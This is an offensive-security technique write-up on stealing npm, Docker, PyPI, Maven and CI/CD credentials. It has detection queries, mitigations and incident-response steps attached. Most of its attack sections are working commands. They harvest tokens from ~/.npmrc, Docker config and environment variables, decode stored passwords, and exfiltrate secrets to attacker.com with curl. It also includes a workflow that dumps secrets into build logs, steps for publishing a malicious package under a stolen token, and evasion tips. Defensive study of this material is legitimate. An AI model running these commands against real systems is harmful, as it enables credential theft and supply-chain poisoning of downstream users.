| Attribute | Details |
|---|---|
| Technique ID | SUPPLY-CHAIN-004 |
| MITRE ATT&CK v18.1 | Compromise Software Dependencies and Development Tools (T1195.001) |
| Tactic | Credential Access / Exfiltration |
| Platforms | Entra ID / DevOps (npm, Docker, Maven, NuGet, PyPI credentials) |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions: | npm (all), PyPI (all), Maven Central (all), Docker Hub (all), NuGet (all) |
| Patched In | N/A - credential theft attack |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Package manager credential theft involves harvesting authentication tokens, API keys, and credentials stored by package managers (npm, pip, docker, maven, nuget) on developer machines, build servers, or CI/CD environments. Attackers use these stolen credentials to authenticate to artifact registries (npm, Docker Hub, PyPI, Maven Central) with the privileges of the compromised user or service account. Once authenticated, attackers can publish malicious packages, overwrite legitimate packages, or gain access to private/internal repositories. This technique is critical because package manager credentials are highly privileged (can publish to any package namespace the account owns) and are often stored in plaintext or easily-accessible configuration files.
Attack Surface: ~/.npmrc, ~/.pypirc, ~/.docker/config.json, ~/.m2/settings.xml, ~/.nuget/nuget.config, CI/CD environment variables (GITHUB_TOKEN, NPM_TOKEN, DOCKER_PASSWORD), CI/CD build logs (often contain plaintext credentials), Git repositories (credentials accidentally committed), environment variables, memory dumps of running CI/CD agents.
Business Impact: Complete compromise of package publishing pipeline. Attackers with stolen credentials can publish malicious packages to any registry where the compromised account has permissions. If the account belongs to a popular package maintainer, attackers can directly poison widely-used packages (affecting hundreds of thousands of downstream users). Additionally, stolen credentials provide access to private/internal repositories, enabling espionage, theft of source code, and access to secrets stored in private packages (database passwords, API keys, SSL certificates).
Technical Context: Credential theft typically occurs during initial compromise or exploitation of CI/CD systems. Time-to-exploit is 2-10 minutes once an attacker has access to a compromised system or can intercept network traffic. Detection likelihood is medium if secrets are stored in plaintext but can be low if credentials are encrypted or stored in secure vaults. Once stolen, credentials are valid for extended periods (weeks to months or indefinitely, depending on expiration settings).
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS v1.4.0 – CDM-2.1 | API keys and secrets must not be stored in plaintext. Use secret management systems (e.g., Azure Key Vault, HashiCorp Vault). |
| DISA STIG | IA-4(a) – Identifier Management | Access tokens and credentials must be protected from unauthorized disclosure. |
| CISA SCuBA | SCUBA-SECRETS-01 | Credentials must be stored securely and rotated at least every 90 days. |
| NIST 800-53 | IA-2(1) – Authentication, MFA | API tokens should be treated as equivalent to passwords and protected accordingly. |
| GDPR | Art. 32 – Security of Processing | Technical measures must protect credentials used to access data processing systems. |
| DORA | Art. 10 – Testing of ICT Tools and Services | Credentials for third-party services must be rotated and monitored regularly. |
| NIS2 | Art. 21 – Access Control | Critical infrastructure operators must protect credentials with encryption and MFA. |
| ISO 27001 | A.9.4.3 – Password Management | Credentials must be unique, complex, and rotated regularly. |
| ISO 27005 | Risk: Unauthorized Access to Credentials | Assess risks of credential compromise and implement detective/responsive controls. |
Required Privileges: Access to developer machine, build agent, or CI/CD environment. Ability to read files (read access to ~/.npmrc, ~/.docker/config.json, etc.). Ability to execute commands or access process memory.
Required Access: Local access to system where credentials are stored, or network access to intercept credential transmission (MITM attacks), or access to CI/CD build logs that echo credentials.
Supported Versions:
NuGet: All versions
# List npm tokens and registries configured
cat ~/.npmrc 2>/dev/null
# OUTPUT: //registry.npmjs.org/:_authToken=npm_xxxxxxxxxxxxxx
# List pip credentials
cat ~/.pypirc 2>/dev/null
# List Docker credentials (base64 encoded)
cat ~/.docker/config.json | jq '.auths' 2>/dev/null
# List Maven credentials
cat ~/.m2/settings.xml 2>/dev/null
# Check for credentials in environment variables
env | grep -i -E "token|secret|key|password|credential"
# Search Git history for accidentally committed credentials
git log -p | grep -i -E "api_key|token|password" | head -20
# Check shell history for credential commands
history | grep -E "npm login|docker login|pip config"
# Search for .env files containing secrets
find ~ -name ".env" -o -name ".env.local" -o -name "secrets.txt" 2>/dev/null | xargs cat
What to Look For:
_authToken=npm_ (npm tokens start with npm_)docker.io or other registry entries with auth field (base64-encoded credentials)<password> tags in Maven settings.xml (plaintext passwords)~/.pypircNPM_TOKEN, DOCKER_PASSWORD, PYPI_API_TOKEN# Check CI/CD environment variables (often set as secrets)
printenv | grep -i -E "token|secret|key|password"
# GitHub Actions: Check for hardcoded tokens in workflow logs
curl -H "Authorization: token $GITHUB_TOKEN" \
"https://api.github.com/repos/{owner}/{repo}/actions/runs/{run-id}/logs" | \
grep -E "npm_.*|ghp_.*|DOCKER_PASSWORD"
# Azure Pipelines: Check build logs for exposed tokens
az pipelines runs logs --organization "https://dev.azure.com/{org}" \
--project "{project}" --id "{run-id}" | grep -i "token\|secret"
# GitLab CI: Check pipeline trace logs
curl -H "PRIVATE-TOKEN: $GITLAB_TOKEN" \
"https://gitlab.com/api/v4/projects/{project_id}/pipelines/{pipeline_id}/jobs/{job_id}/trace"
What to Look For:
GITHUB_TOKEN=ghu_ or ghp_NPM_TOKEN=npm_DOCKER_PASSWORD= or DOCKER_USERNAME=ARTIFACTORY_KEY=, NEXUS_PASSWORD=AKIA keys, Azure AZURE_ prefixed variablesSupported Versions: npm (all versions), Node.js (all)
Objective: Locate developer machines that have npm tokens stored locally.
Command (Via Malware/Trojan):
# Reconnaissance to find npm credentials
ls -la ~/.npmrc 2>/dev/null && echo "npm credentials found"
# Extract token
npm_token=$(grep "_authToken" ~/.npmrc 2>/dev/null | cut -d'=' -f2)
# Verify token is valid
curl -H "Authorization: Bearer $npm_token" https://registry.npmjs.org/whoami
# If valid, exfiltrate
echo $npm_token | curl -X POST -d @- https://attacker.com/collect-tokens
Expected Output (Success):
npm credentials found
{
"username": "developer-account",
"email": "dev@company.com"
}
What This Means:
Objective: Parse npm configuration file and extract authentication token.
Command:
# Read .npmrc file (usually plaintext or lightly obfuscated)
cat ~/.npmrc
# Expected format:
# //registry.npmjs.org/:_authToken=npm_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
# @company:registry=https://artifactory.company.com/artifactory/api/npm/npm-release/
# //artifactory.company.com/artifactory/api/npm/npm-release/:_authToken=xxxxxxxxxx
# //artifactory.company.com/artifactory/api/npm/npm-release/:email=dev@company.com
# Extract all tokens
grep "_authToken" ~/.npmrc | cut -d'=' -f2
# If .npmrc is encrypted or obfuscated:
# npm doesn't encrypt tokens; they are stored in plaintext
# However, some tools may base64-encode them
cat ~/.npmrc | base64 -d
# Extract specific registry token
registry_token=$(grep -A 1 "@company:registry" ~/.npmrc | grep "_authToken" | cut -d'=' -f2)
OpSec & Evasion:
.npmrc is world-readable if permissions are not set correctly: chmod 600 ~/.npmrc (properly secured)Objective: Verify stolen token is valid and determine what repositories attacker can access.
Command:
# Authenticate with stolen npm token
npm set //registry.npmjs.org/:_authToken=${STOLEN_NPM_TOKEN}
# Check identity (verify token is valid)
npm whoami
# OUTPUT: legitimate-developer
# List packages this account owns or can publish to
npm access ls-packages
# OUTPUT:
# my-app ( read-write )
# popular-utility ( read-write )
# internal-lib ( read-write )
# Check token scope (what permissions it has)
npm token list 2>/dev/null
# Query npm API to enumerate public packages by this user
curl -s "https://registry.npmjs.org/-/user/org.couchdb.user:{username}" \
-H "Authorization: Bearer ${STOLEN_NPM_TOKEN}" | jq '.packages'
Expected Output:
{
"my-app": "read-write",
"popular-utility": "read-write",
"internal-lib": "read-write"
}
What This Means:
Supported Versions: Docker (all versions), all Docker registries
Objective: Parse Docker config.json and decode base64-encoded credentials.
Command:
# Read Docker config file
cat ~/.docker/config.json | jq '.auths'
# Example output:
# {
# "https://index.docker.io/v1/": {
# "auth": "dXNlcm5hbWU6cGFzc3dvcmQ="
# },
# "myregistry.azurecr.io": {
# "auth": "dXNlcm5hbWU6cGFzc3dvcmQ=",
# "email": "user@company.com"
# }
# }
# Decode base64 credentials
auth_string=$(cat ~/.docker/config.json | jq -r '.auths["https://index.docker.io/v1/"].auth')
echo $auth_string | base64 -d
# OUTPUT: username:password
# Extract username and password separately
username=$(echo $auth_string | base64 -d | cut -d':' -f1)
password=$(echo $auth_string | base64 -d | cut -d':' -f2)
echo "Docker Hub Username: $username"
echo "Docker Hub Password: $password"
# Extract all registry credentials
cat ~/.docker/config.json | jq '.auths | to_entries[] | {registry: .key, username: (.value.auth | @base64d | split(":")[0]), password: (.value.auth | @base64d | split(":")[1])}'
Expected Output:
{
"registry": "https://index.docker.io/v1/",
"username": "legitimate-developer",
"password": "actual-password-here"
}
What This Means:
Objective: Verify stolen Docker credentials and enumerate accessible repositories.
Command:
# Authenticate to Docker Hub with stolen credentials
docker login -u $username -p $password
# Verify authentication
docker info | grep Username
# List repositories accessible to this account
curl -s "https://hub.docker.com/v2/users/{username}/repositories/" \
-H "Authorization: Bearer $(docker inspect $(docker create $username/$(docker ps -aq | tail -1) true) --format='')" | \
jq '.results[] | {name: .name, push_permission: .has_admin}'
# Alternative: enumerate via Docker API
docker ps -a --format "table " | while read image; do
docker push $image # Attempt push to verify access
done
OpSec & Evasion:
docker login can be automated without user interactionSupported Versions: GitHub Actions (all), Azure Pipelines (all), GitLab CI (all), Jenkins (all)
Objective: Extract credentials from CI/CD build environment where secrets are injected.
Command (GitHub Actions):
# In a GitHub Actions workflow, all secrets are available as environment variables
env | grep -E "^[A-Z_]+_(TOKEN|PASSWORD|SECRET|KEY)="
# Exfiltrate via curl
curl -X POST https://attacker.com/webhook \
-d "github_token=$GITHUB_TOKEN&npm_token=$NPM_TOKEN&docker_password=$DOCKER_PASSWORD"
# Or write to artifact (then download later)
env | grep TOKEN > /tmp/secrets.txt
Command (Azure Pipelines):
# Azure Pipelines makes secrets available as environment variables
env | grep -E "^SYSTEM_|^BUILD_|^RELEASE_"
# Special variable: SYSTEM_ACCESSTOKEN (very high privilege)
echo $SYSTEM_ACCESSTOKEN | curl -d @- https://attacker.com/webhook
# Extract task authentication token
echo $SYSTEM_TEAMFOUNDATIONCOLLECTIONURI
Command (GitLab CI):
# GitLab injects secrets as CI_ prefixed variables
env | grep ^CI_
# Extract job token
echo $CI_JOB_TOKEN | curl -d @- https://attacker.com/webhook
Expected Output (Exfiltrated Secrets):
GITHUB_TOKEN=ghu_xxxxxxxxxxxxxxxxxxx
NPM_TOKEN=npm_xxxxxxxxxxxxxxxxxxx
DOCKER_PASSWORD=mypassword123
SYSTEM_ACCESSTOKEN=xxxxxxxxxxxxxxxxxxxx
OpSec & Evasion:
echo or pipe to redirect output to files instead of stdoutObjective: Authenticate with stolen credentials and publish malicious packages.
Command:
# Use stolen npm token
npm set //registry.npmjs.org/:_authToken=${STOLEN_NPM_TOKEN}
# Create malicious package
mkdir malicious-package && cd malicious-package
npm init -y
# Add postinstall hook
jq '.scripts.postinstall = "node setup.js"' package.json > package.json.tmp
mv package.json.tmp package.json
# Increment version
npm version patch
# Publish (now using stolen credentials)
npm publish
Supported Versions: GitHub Actions (all), Azure Pipelines (all), GitLab CI (all)
Objective: Cause CI/CD build to output secrets in logs via script echo or debugging.
Command (GitHub Actions Workflow):
name: Expose Secrets
on: [push]
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Debug Environment
run: |
echo "Debugging build environment..."
env | sort # Outputs all environment variables including secrets
- name: Show token
run: echo "Token: $" # Outputs secret to log
- name: List config
run: |
cat ~/.npmrc # If file exists with credentials
cat ~/.docker/config.json
Expected Output (In Build Logs):
GITHUB_TOKEN=ghu_xxxxxxxxxxxxxxxx
NPM_TOKEN=npm_xxxxxxxxxxxxxxxx
DOCKER_PASSWORD=mypassword
OpSec & Evasion:
ghu_*, npm_*)Objective: Retrieve build logs from CI/CD platform and extract credentials.
Command (GitHub):
# Download workflow logs
gh run download {run-id} --repo {owner}/{repo} --dir /tmp/logs
# Parse logs for secrets
grep -r "TOKEN\|PASSWORD\|SECRET\|KEY" /tmp/logs/ | \
grep -oE "npm_[a-zA-Z0-9]+|ghp_[a-zA-Z0-9]+" > /tmp/stolen-tokens.txt
# For public repositories, logs are publicly accessible
curl -s "https://github.com/{owner}/{repo}/actions/runs/{run-id}/attempts/{attempt}/logs/{job-id}" | \
grep -oE "npm_[a-zA-Z0-9]+" > /tmp/npm-tokens.txt
OpSec & Evasion:
https://api.github.com/repos/{owner}/{repo}/actions/runsRule Configuration:
SPL Query:
index=npm_audit source="auth" OR source="login"
| where
(source_ip NOT IN ("office-ip-range", "ci-server-ips") OR
time_of_day < 6 OR time_of_day > 22) /* Outside business hours or non-office IP */
AND (user_agent CONTAINS "curl" OR user_agent CONTAINS "wget" OR user_agent CONTAINS "python") /* Scripted authentication */
| stats count by username, source_ip, time_of_day
| where count > 3 /* Multiple authentications in short window */
What This Detects:
Rule Configuration:
KQL Query:
GithubAuditLog
| where TimeGenerated > ago(1m)
| where action == "workflows.completed_workflow_run"
| extend LogContent = tostring(log_content)
| where LogContent contains_cs ("npm_" OR "ghu_" OR "ghp_" OR "AKIA" OR "DOCKER_PASSWORD") /* Credential patterns */
| project TimeGenerated, actor, repository, LogContent
| summarize CredentialExposures = count() by actor, repository
| where CredentialExposures > 0
What This Detects:
ghu_, ghp_)npm_)AKIA)DOCKER_PASSWORD)Never store credentials in plaintext (use secret management systems):
Azure Key Vault:
# Store npm token in Key Vault (not in ~/.npmrc)
az keyvault secret set --vault-name "my-keyvault" --name "npm-token" --value "$NPM_TOKEN"
# Retrieve in CI/CD pipeline
npm_token=$(az keyvault secret show --vault-name "my-keyvault" --name "npm-token" --query "value" -o tsv)
npm set //registry.npmjs.org/:_authToken=$npm_token
Docker Secret Management:
# Use Docker secret (if on Swarm)
docker secret create docker-creds docker-config.json
# Or use Docker Buildkit with secret mounts
docker buildx build \
--secret id=docker_creds,src=~/.docker/config.json \
-t myimage:latest .
Kubernetes Secrets:
# Create secret for Docker credentials
kubectl create secret docker-registry dockercfg \
--docker-server=index.docker.io \
--docker-username=username \
--docker-password=password \
--docker-email=email@example.com
# Use in deployment
imagePullSecrets:
- name: dockercfg
Implement credential rotation (90-day maximum lifetime):
npm Token Rotation:
# List tokens
npm token list
# Revoke old token
npm token revoke {token-id}
# Generate new token with limited scope
npm token create --read-only
Docker Credential Rotation:
Azure Automation:
# Automated credential rotation every 90 days
$secretName = "npm-token"
$expiryDate = (Get-Date).AddDays(-90)
# Check if token needs rotation
$lastRotation = (az keyvault secret show --vault-name "my-kv" --name "$secretName-date" --query "value").Value
if ([datetime]$lastRotation -lt $expiryDate) {
# Generate new token
$newToken = npm token create --read-only
# Store in Key Vault
az keyvault secret set --vault-name "my-kv" --name $secretName --value $newToken
az keyvault secret set --vault-name "my-kv" --name "$secretName-date" --value (Get-Date).ToString()
# Revoke old token
npm token revoke $oldTokenId
}
Enable MFA on package manager accounts:
npm MFA:
npm publish --otp 123456Docker Hub MFA:
PyPI MFA:
Use short-lived credentials (time-limited tokens):
npm Temporary Token:
# Create token that expires in 24 hours
npm token create --expires-in 1d
GitHub OIDC Tokens (Workload Identity Federation):
# GitHub Actions workflow using OIDC (no long-lived PAT required)
- name: Authenticate to npm
uses: actions/setup-node@v3
with:
node-version: '18'
registry-url: 'https://registry.npmjs.org'
# Token is automatically provisioned via OIDC, expires in 15 minutes
- name: Publish
run: npm publish
env:
NODE_AUTH_TOKEN: $ # Short-lived OIDC token
Azure Workload Identity:
# Use Azure AD managed identity (no credential storage needed)
az login --service-principal -u $AZURE_CLIENT_ID -p $AZURE_CLIENT_SECRET --tenant $AZURE_TENANT_ID
Mask secrets in CI/CD logs (prevent accidental exposure):
GitHub Actions:
- name: Build
run: npm publish
env:
NPM_TOKEN: $ # Automatically masked in logs
Azure Pipelines:
variables:
NPM_TOKEN: $[variables['npmToken']] # Stored as secret variable
steps:
- script: npm set //registry.npmjs.org/:_authToken=$(NPM_TOKEN)
env:
NPM_TOKEN: $(NPM_TOKEN) # Masked when logged
Custom Log Masking:
# Mask secrets in script output
credentials_file="/tmp/creds.txt"
# ... populate credentials ...
# Run script and redact output
./build.sh 2>&1 | sed 's/npm_[a-zA-Z0-9]*/npm_REDACTED/g'
Use distinct credentials for each service (principle of least privilege):
Example Credential Strategy:
publish scope, not adminiam:GetUser + ecr:* only (not *:*)AWS IAM Policy (Least Privilege):
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"ecr:GetAuthorizationToken",
"ecr:PutImage",
"ecr:GetImage"
],
"Resource": "arn:aws:ecr:us-east-1:123456789:repository/my-app*"
}
]
}
Monitor and alert on credential usage anomalies:
npm Usage Monitoring:
# Monitor npm publish activity
npm access list | grep -v "jq\|total" | while read line; do
package=$(echo $line | cut -d' ' -f1)
npm view $package --json | jq '.time.modified'
done
# Alert if modification is recent/unexpected
Docker Registry Audit:
# Query Docker Hub API for push activity
curl -s "https://hub.docker.com/v2/repositories/{username}/{repo}/tags/?page_size=100" | \
jq '.results[] | select(.last_pushed | strptime("%Y-%m-%dT%H:%M:%SZ") | mktime > now - 86400) | {name, last_pushed}'
# Alert if unexpected push
~/.npmrc accessed by unexpected processes~/.docker/config.json read~/.ssh/ or ~/.git-credentials accessedcurl, wget commands with webhook URLs in argumentsbase64 encoding/decoding unusual datanpm login or docker login from unusual IPshttps://attacker.com/webhook~/.npm cache directory contains .tgz files of accessed packages~/.docker/config.json history (can be reconstructed from git)~/.bash_history contains login commands/var/log/ci-pipeline/# Check what credentials were potentially exposed
npm token list
docker info | grep "Username"
# Check CI/CD audit logs for unusual activity
gh run list --repo {owner}/{repo} --limit 100 | grep -i "publish\|unknown"
# Check package registry for suspicious publishes
npm view {package-name} time
# npm: revoke all tokens and regenerate
npm token revoke {token-id}
npm token create --read-only
# Docker: generate new PAT and delete old
docker logout
# Manually generate new PAT in Docker Hub
docker login --username {username}
# GitHub: revoke compromised PAT
gh auth revoke # If using gh CLI
curl -X DELETE \
-H "Authorization: token $GITHUB_TOKEN" \
https://api.github.com/authorizations/{authorization_id}
# Unpublish malicious npm package
npm unpublish {package-name}@{malicious-version} --force
# Delete malicious Docker image
docker image rm myregistry/myapp:malicious-tag
# Contact registry admins to forcefully remove if attacker refuses
# Rotate credentials in all CI/CD systems
# Update secrets in Azure Key Vault, GitHub Secrets, etc.
# Redeploy applications with new credentials
# Restart CI/CD agents to clear credential cache
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [REC-CI-CD-001] | Enumerate package manager configurations and stored credentials |
| 2 | Initial Access | [IA-MALWARE-001] | Deliver malware to developer machine or CI/CD agent |
| 3 | Current Step | [SUPPLY-CHAIN-004] | Package Manager Credential Theft - harvest npm, Docker, PyPI tokens |
| 4 | Lateral Movement | [SUPPLY-CHAIN-003] | Artifact Repository Poisoning - use stolen credentials to publish malicious packages |
| 5 | Persistence | [PERSIST-003] | Create backdoor service account with stolen credentials |
| 6 | Impact | [SUPPLY-CHAIN-MASS-COMPROMISE] | Poisoned packages distribute to downstream end-users |
@company/internal-lib)